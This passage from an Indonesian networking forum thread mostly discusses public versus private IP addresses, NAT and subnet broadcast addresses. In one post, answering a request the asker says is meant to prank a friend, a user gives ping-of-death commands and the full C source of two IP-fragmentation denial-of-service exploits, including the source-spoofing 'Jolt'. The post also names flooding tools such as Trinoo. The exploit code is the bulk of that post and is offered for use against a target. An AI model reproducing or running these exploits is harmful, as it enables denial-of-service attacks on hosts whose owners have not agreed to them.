          'SR' => array (4.0000,-56.0000),
          'ST' => array (1.0000,7.0000),
          'SV' => array (13.8333,-88.9167),
          'SY' => array (35.0000,38.0000),
          'SZ' => array (-26.5000,31.5000),
          'TC' => array (21.7500,-71.5833),
          'TD' => array (15.0000,19.0000),
          'TG' => array (8.0000,1.1667),
          'TH' => array (15.0000,100.0000),
          'TJ' => array (39.0000,71.0000),
          'TK' => array (-9.0000,-172.0000),
          'TM' => array (40.0000,60.0000),
          'TN' => array (34.0000,9.0000),
          'TO' => array (-20.0000,-175.0000),
          'TR' => array (39.0000,35.0000),
          'TT' => array (11.0000,-61.0000),
          'TV' => array (-8.0000,178.0000),
          'TW' => array (23.5000,121.0000),
          'TZ' => array (-6.0000,35.0000),
          'UA' => array (49.0000,32.0000),
          'UG' => array (1.0000,32.0000),
          'UM' => array (19.2833,166.6000),
          'US' => array (38.0000,-97.0000),
          'UY' => array (-33.0000,-56.0000),
          'UZ' => array (41.0000,64.0000),
          'VA' => array (41.9000,12.4500),
          'VC' => array (13.2500,-61.2000),
          'VE' => array (8.0000,-66.0000),
          'VG' => array (18.5000,-64.5000),
          'VI' => array (18.3333,-64.8333),
          'VN' => array (16.0000,106.0000),
          'VU' => array (-16.0000,167.0000),
          'WF' => array (-13.3000,-176.2000),
          'WS' => array (-13.5833,-172.3333),
          'YE' => array (15.0000,48.0000),
          'YT' => array (-12.8333,45.1667),
          'YU' => array (44.0000,21.0000),
          'ZA' => array (-29.0000,24.0000),
          'ZM' => array (-15.0000,30.0000),
          'ZR' => array (0.0000,25.0000),
          'ZW' => array (-20.0000,30.0000)
       );
    
    ?>
    Last edited by bl00d13z; 26-05-09 at 14:43.

  7. #21

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Quote Originally Posted by op3l View Post
    kalau persis kek ip2location itu ga mungkin sanggp ngejarnya makanya tuh script dijual, liat aja konsumennya. gak sanggup dah bkin kek gt.. pgn tau aja yang bisa liat ip pub asli orang pake proxy aja coz beberapa situs. bahkan lokal ada yang kek gt

    tapi kalau pake web proxy kok gak bisa ketauan ya ip public aslinya
    yap.. ga bakal ketauan ip public asliny karna dipetakan lagi ke ip proxynya, tapi hanya untk http/https aj klo yg digunainnya via web browser settingan proxynya, ada beberapa cara biar bisa deteksi IP aslinya :
    - kita ga pake protokol http/https buat deteksinya..atau
    - baca raw packet yg diterima web server kita dari IP yg dicurigai menggunakan proxy..(yg ini berat, harus ngerti header tcp)

  8. #22
    rulez's Avatar
    Join Date
    Feb 2008
    Location
    Bandung
    Posts
    2,011
    Points
    2,416.90
    Thanks: 1 / 0 / 0

    Default

    zzz..

    ip private itu ip yg hanya sebatas jaringan local aja.. bisa kita atur sesuai hati kita.., dengan IP ini kita terkoneksi dengan jaringan local

    ip public itu ip yg berasal dari ISP kita..dengan IP ini kita terkoneksi ke internet

  9. #23

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Quote Originally Posted by rulez View Post
    zzz..

    ip private itu ip yg hanya sebatas jaringan local aja.. bisa kita atur sesuai hati kita.., dengan IP ini kita terkoneksi dengan jaringan local

    ip public itu ip yg berasal dari ISP kita..dengan IP ini kita terkoneksi ke internet
    zzz lagi..

    IANA(Internet Assigned Numbers Authority
    ) menetapkan 2 jenis IP untuk kebutuhan masa depan, IP publik dan private,
    IP private =
    192.168.0.0 - 192.168.255.255 (kelas C)
    172.16.0.0 - 172.31.255.255 (kelas B)
    10.0.0.0 - 10.255.255.255 (kelasA)

    IP publik =
    selain dari IP private diatas dan IP localhost 127.0.0.1 disebut IP publik, ada 3 kelas jg A,B dan C, meskipun sbnernya ada 5, kelas D untuk multicast dan kelas E untuk kebutuhan eksperimen

    itu ada aturannya di RFC 1597
    jadi IP yg kita dapat dari ISP ga berarti harus publik meskipun memang nanti pasti dipetakan ke publik. NATny diperdalam lagi bro..
    salah satu cth ISP yg dpt IP publik lgsg IM2 tuh,,. n yg dpt IP private speedy tuh dia terapin NAT.. jadi script yg saya kasih ini pasti melookup IP publik, bukan private

    ini gw lg di kantor.. yang muncul ip private kale ? apa public ?
    saya yakinkan jadi..ini publik, klo private sih ga perlu dilookup, liat ja lgsg di properties tcp/ip nya..

  10. #24
    rulez's Avatar
    Join Date
    Feb 2008
    Location
    Bandung
    Posts
    2,011
    Points
    2,416.90
    Thanks: 1 / 0 / 0

    Default

    kemaren gw cek ip pk script itu beda hasil nya ama tadi.
    klo gw cek ke Web ISP, ip gw tercatat 192.168.0.32, makanya gw bingung..
    makanya gw yakin klo itu ip private.
    klo web lain kek find your ip, ya itu jelas ip public.

  11. #25

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Quote Originally Posted by rulez View Post
    kemaren gw cek ip pk script itu beda hasil nya ama tadi.
    klo gw cek ke Web ISP, ip gw tercatat 192.168.0.32, makanya gw bingung..
    makanya gw yakin klo itu ip private.
    klo web lain kek find your ip, ya itu jelas ip public.
    tadi udah dicoba lagi? hasilnya publik? sbnernya ini lookup juga ke http://javascript.internet.com
    IP yg dicatet di ISP mungkin memang IP privatenya,.karena ISP jg butuh informasi IP private yg dipakai pelanggannya untuk pencatatan billing,dll btw ISPny paan ya?

  12. #26
    rulez's Avatar
    Join Date
    Feb 2008
    Location
    Bandung
    Posts
    2,011
    Points
    2,416.90
    Thanks: 1 / 0 / 0

    Default

    kantor sini pk isp melsa & speedy. ngecek pk pk http://www.melsa.net.id/nettools/
    dr kantor hslnya 192.168.0.32
    di rumah juga gw pk melsa. ipnya 202.138.xxx.xxx GG

    cek ip di web melsa ini juga bisa yg pk ISP lain, buat ngecek ip public.

    eh blod pny codenya ping of death ? GG

  13. #27

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Quote Originally Posted by rulez View Post
    kantor sini pk isp melsa & speedy. ngecek pk pk http://www.melsa.net.id/nettools/
    dr kantor hslnya 192.168.0.32
    di rumah juga gw pk melsa. ipnya 202.138.xxx.xxx GG

    cek ip di web melsa ini juga bisa yg pk ISP lain, buat ngecek ip public.

    eh blod pny codenya ping of death ? GG
    oo load balancing ya koneksiny.. klo cek IP kantor via web melsa tercantum IP private sedangkan IP rumah dptny publik mungkin emang topologinya sengaja dibedain bro ma melsanya, topologi wat home user ma office dipisah, ga tau jg sih gmn rulenya melsa, biasanya kehabisan IP kalo udah di NAT2..

    ping of death dari linux/unix pa win32? POD sih cm paket pingnya ja kan yg besar,
    buat win32
    Code:
    ping -l 65550 [IPtarget]
    buat linux/unix
    Code:
    ping -fs 65000 [IPtarget]
    kalo script khusus ada untuk BSD ma linux, targetnya buat win95,. ini:
    Spoiler untuk code :

    Code:
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/ip_icmp.h>
    
    /*
     * If your kernel doesn't muck with raw packets, #define REALLY_RAW.
     * This is probably only Linux.
     */
    #ifdef REALLY_RAW
    #define FIX(x)  htons(x)
    #else
    #define FIX(x)  (x)
    #endif
    
    int
    main(int argc, char **argv)
    {
            int s;
            char buf[1500];
            struct ip *ip = (struct ip *)buf;
            struct icmp *icmp = (struct icmp *)(ip + 1);
            struct hostent *hp;
            struct sockaddr_in dst;
            int offset;
            int on = 1;
    
            bzero(buf, sizeof buf);
    
            if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
                    perror("socket");
                    exit(1);
            }
            if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
                    perror("IP_HDRINCL");
                    exit(1);
            }
            if (argc != 2) {
                    fprintf(stderr, "usage: %s hostname\n", argv[0]);
                    exit(1);
            }
            if ((hp = gethostbyname(argv[1])) == NULL) {
                    if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
                            fprintf(stderr, "%s: unknown host\n", argv[1]);
                    }
            } else {
                    bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
            }
            printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
            ip->ip_v = 4;
            ip->ip_hl = sizeof *ip >> 2;
            ip->ip_tos = 0;
            ip->ip_len = FIX(sizeof buf);
            ip->ip_id = htons(4321);
            ip->ip_off = FIX(0);
            ip->ip_ttl = 255;
            ip->ip_p = 1;
            ip->ip_sum = 0;                 /* kernel fills in */
            ip->ip_src.s_addr = 0;          /* kernel fills in */
    
            dst.sin_addr = ip->ip_dst;
            dst.sin_family = AF_INET;
    
            icmp->icmp_type = ICMP_ECHO;
            icmp->icmp_code = 0;
            icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
                    /* the checksum of all 0's is easy to compute */
    
            for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
                    ip->ip_off = FIX(offset >> 3);
                    if (offset < 65120)
                            ip->ip_off |= FIX(IP_MF);
                    else
                            ip->ip_len = FIX(418);  /* make total 65538 */
                    if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
                                            sizeof dst) < 0) {
                            fprintf(stderr, "offset %d: ", offset);
                            perror("sendto");
                    }
                    if (offset == 0) {
                            icmp->icmp_type = 0;
                            icmp->icmp_code = 0;
                            icmp->icmp_cksum = 0;
                    }
            }
    }

    ini linux, terkenal jg dgn nama jolt:
    Spoiler untuk code :

    Code:
    #define __BSD_SOURCE
            #include <stdio.h>
            #include <sys/types.h>
            #include <sys/socket.h>
            #include <netdb.h>
            #include <netinet/in.h>
            #include <netinet/in_systm.h>
            #include <netinet/ip.h>
            #include <netinet/ip_icmp.h>
            #include <string.h>
            #include <arpa/inet.h>
            
            int main(int argc, char **argv)
            {
            int s,i;
            char buf[400];
            struct ip *ip = (struct ip *)buf;
            struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
            struct hostent *hp, *hp2;
            struct sockaddr_in dst;
            int offset;
            int on;
            int num = 5;
            
            if (argc < 3) {
            printf("Jolt v1.0 Yet ANOTHER windows95(And macOS!)
            glitch by VallaH ([email protected])\n");
            printf("\nusage: %s <dstaddr> <saddr>
            [number]\n",argv[0]);
            printf("\tdstaddr is the host your
            attacking\n");
            printf("\tsaddr is the host your spoofing
            from\n");
            printf("\tNumber is the number of packets to send, 5
            is the default\n");
            printf("\nNOTE: This is based on a bug that used to
            affect POSIX complient, and SYSV \n\t systems so its
            nothing new..\n");
            printf("\nGreets to Bill Gates! How do ya like this
            one? :-)\n");
            exit(1);
            }
            if (argc == 4) num = atoi(argv[3]);
            for (i=1;i<=num;i++) {
            on=1;
            bzero(buf, sizeof buf);
            
            if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW )) < 0)
            {
            perror("socket");
            exit(1);
            }
            if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on,
            sizeof(on)) < 0) {
            perror("IP_HDRINCL");
            exit(1);
            }
            
            if ((hp = gethostbyname(argv[1])) == NULL) {
            if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
            fprintf(stderr, "%s: unknown host\n", argv[1]);
            exit(1);
            }
            } else {
            bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr,
            hp->h_length);
            }
            
            if ((hp2 = gethostbyname(argv[2])) == NULL) {
            if ((ip->ip_src.s_addr = inet_addr(argv[2])) == -1) {
            fprintf(stderr, "%s: unknown host\n", argv[2]);
            exit(1);
            }
            } else {
            bcopy(hp2->h_addr_list[0], &ip->ip_src.s_addr,
            hp->h_length);
            }
            
            printf("Sending to %s\n",
            inet_ntoa(ip->ip_dst));
            ip->ip_v = 4;
            ip->ip_hl = sizeof *ip >> 2;
            ip->ip_tos = 0;
            ip->ip_len = htons(sizeof buf);
            ip->ip_id = htons(4321);
            ip->ip_off = htons(0);
            ip->ip_ttl = 255;
            ip->ip_p = 1;
            ip->ip_csum = 0; /* kernel fills in */
            
            dst.sin_addr = ip->ip_dst;
            dst.sin_family = AF_INET;
            
            icmp->type = ICMP_ECHO;
            icmp->code = 0;
            icmp->checksum = htons(~(ICMP_ECHO << 8));
            for (offset = 0; offset < 65536; offset += (sizeof buf
            - sizeof *ip)) {
            ip->ip_off = htons(offset >> 3);
            if (offset < 65120)
            ip->ip_off |= htons(0x2000);
            else
            ip->ip_len = htons(418); /* make total 65538 */
            if (sendto(s, buf, sizeof buf, 0, (struct sockaddr
            *)&dst,
            sizeof dst) < 0) {
            fprintf(stderr, "offset %d: ", offset);
            perror("sendto");
            }
            if (offset == 0) {
            icmp->type = 0;
            icmp->code = 0;
            icmp->checksum = 0;
            }
            }
            close(s);
            usleep(30000);
            }
            return 0;
            }
            
    
    
    }

    POD udh jrg bgt vulnernya bro, skrg sk maenan SYN_flood, Tribal, Trinoo,. pake vadim lengkap tuh sourcenya..


    sory nih bro jgn dilanjutin lagi.. OOT tar..klo mau tny gtuan bkin thread baru lagi ya broo...
    Last edited by bl00d13z; 26-05-09 at 14:46.

  14. #28
    rulez's Avatar
    Join Date
    Feb 2008
    Location
    Bandung
    Posts
    2,011
    Points
    2,416.90
    Thanks: 1 / 0 / 0

    Default

    kwkwkwkw.. iya gw cuman mo ngisengin tmn gw..

    thx berad neh..

    ok Back To Topic.

  15. #29
    op3l's Avatar
    Join Date
    Oct 2006
    Location
    Surabaya
    Posts
    1,787
    Points
    2,028.60
    Thanks: 1 / 1 / 1

    Default

    hehe thanks coba2 dlu

    kalau gak salah 192.168.0.32

    '0' disni harusnya gak bole dpake jadi IP harusnya kan '`' 192.168.1.32

    sampe 65k mending WEP skalian biar down

    ah gw uda pada lupa teori IP pokoknya 0 sama 255 gak bole dpake, knp? gw jg uda lupa hehe.

    kalau gak salah si broadcast sama apa gt.

    kalau pake safe mode dbrowser sih gak bakal kedetect IP realnya uda gw coba, tapi berat krn no cookies
    Yang Penting NgeJUNK

  16. #30

    Join Date
    May 2008
    Location
    /proc/sys/kernel/randomize_va_space
    Posts
    875
    Points
    1,326.90
    Thanks: 0 / 13 / 8

    Default

    Quote Originally Posted by op3l View Post
    hehe thanks coba2 dlu

    kalau gak salah 192.168.0.32

    '0' disni harusnya gak bole dpake jadi IP harusnya kan '`' 192.168.1.32

    sampe 65k mending WEP skalian biar down

    ah gw uda pada lupa teori IP pokoknya 0 sama 255 gak bole dpake, knp? gw jg uda lupa hehe.

    kalau gak salah si broadcast sama apa gt.

    kalau pake safe mode dbrowser sih gak bakal kedetect IP realnya uda gw coba, tapi berat krn no cookies
    boleh kok, kecuali 192.168.0.0, ini buat network ID dan 192.168.0.255 nya buat alamat broadcast.. ini jg tergantung sama netmasknya.. kalo yg gw contohin tadi itu brarti netmasknya 255.255.255.0 atau klo di unix/linux suka dibuat net prefixnya jadi 192.168.0.0/24

    kalo netmasknya 255.255.255.252 misal, berarti network ID ma broadcastnya :
    Net ID: 192.168.0.0
    BCast: 192.168.0.3 atau
    NetID: 192.168.0.4
    Bcast: 192.168.0.7,,,dst sampe akhirnya
    NetID: 192.168.0.252
    Bcast: 192.168.0.255

    NB: itu yg netmasknya 255.255.255.252 beda lagi kalo 255.255.255.224 misal..ini dia brarti netprefixnya /27, dia punya alokasi keq gni:
    NetID: 192.168.0.0
    Bcast: 192.168.0.31 atau
    NetID: 192.168.0.32
    Bcast: 192.168.0.63 dst sampe
    NetID: 192.168.0.224
    Bcast: 192.168.0.255

    begitu krg lebih ^^

    btw WEP gmn mksdny?

Page 2 of 3 FirstFirst 123 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •